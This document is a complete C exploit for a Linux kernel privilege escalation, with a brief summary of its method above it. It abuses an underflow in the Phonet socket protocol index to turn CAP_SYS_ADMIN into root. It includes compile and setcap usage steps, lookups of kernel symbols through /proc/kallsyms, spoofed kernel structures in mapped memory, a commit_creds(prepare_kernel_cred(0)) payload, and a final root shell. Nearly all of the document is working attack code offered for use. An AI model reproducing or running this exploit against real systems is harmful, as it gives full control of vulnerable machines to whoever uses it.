This exploit takes advantage of the same underflow as the original, but takes a different approach. Instead of underflowing into userspace (which doesn't work on 64-bit systems and is a lot of work), the author uses an underflow to some static values inside of the kernel which are referenced as pointers to userspace. This method is pretty simple and seems to be reliable.
a995031b16200885fe411f974f79c2dcc6dedf5c9fb51e3bf3e91e4c579e74bb
/*
* Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
* by Joe Sylve
* @jtsylve on twitter
*
* Released: Jan 7, 2011
*
* Based on the bug found by Dan Rosenberg (@djrbliss)
* only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
*
* Usage:
* gcc -w caps-to-root2.c -o caps-to-root2
* sudo setcap cap_sys_admin+ep caps-to-root2
* ./caps-to-root2
*
* Kernel Version >= 2.6.34 (untested on earlier versions)
*
* Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
*
* This exploit takes advantage of the same underflow as the original,
* but takes a different approach. Instead of underflowing into userspace
* (which doesn't work on 64-bit systems and is a lot of work), I underflow
* to some static values inside of the kernel which are referenced as pointers
* to userspace. This method is pretty simple and seems to be reliable.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
int family;
void *buffer1[8];
int (*ioctl)(void *, int, long);
void *buffer2[12];
};
struct phonet_protocol_skel {
void *ops;
void *prot;
int sock_type;
};
#ifdef __x86_64__
#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
#else //32-bit
#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
#endif
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int getroot(void * v, int i, long l)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret;
char command[512];
sprintf(command, "grep \"%s\" /proc/kallsyms", name);
f = popen(command, "r");
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
pclose(f);
return addr;
}
}
pclose(f);
return 0;
}
int main(int argc, char * argv[])
{
int sock, proto;
unsigned long proto_tab, low_kern_sym, pn_proto;
void * map;
/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");
else
printf("[*] Failed to open Phonet socket.\n");
return -1;
}
close(sock);
/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");
proto_tab = get_kernel_sym("proto_tab");
low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
pn_proto = get_kernel_sym("pn_proto");
commit_creds = (void *) get_kernel_sym("commit_creds");
prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");
if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
if (low_kern_sym >= proto_tab) {
printf("[*] %s is mapped higher than prototab. Can not underflow :-(.\n", SYM_NAME);
return -1;
}
/* Map it */
printf("[*] Preparing fake structures...\n");
const struct proto_ops_skel fake_proto_ops2 = {
.family = AF_PHONET,
.ioctl = &getroot,
};
struct phonet_protocol_skel pps = {
.ops = (void *) &fake_proto_ops2,
.prot = (void *) pn_proto,
.sock_type = SOCK_DGRAM,
};
printf("[*] Copying Structures.\n");
map = mmap((void *) SYM_ADDRESS, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
perror("mmap");
return -1;
}
memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));
// Calculate Underflow
proto = -((proto_tab - low_kern_sym) / sizeof(void *));
printf("[*] Underflowing with offset %d\n", proto);
sock = socket(PF_PHONET, SOCK_DGRAM, proto);
if(sock < 0) {
printf("[*] Underflow failed :-(.\n");
return -1;
}
printf("[*] Elevating privlidges...\n");
ioctl(sock, 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] This was a triumph... I'm making a note here, huge success.\n");
execl("/bin/sh", "/bin/sh", NULL);
close(sock);
munmap(map, 0x1000);
return 0;
}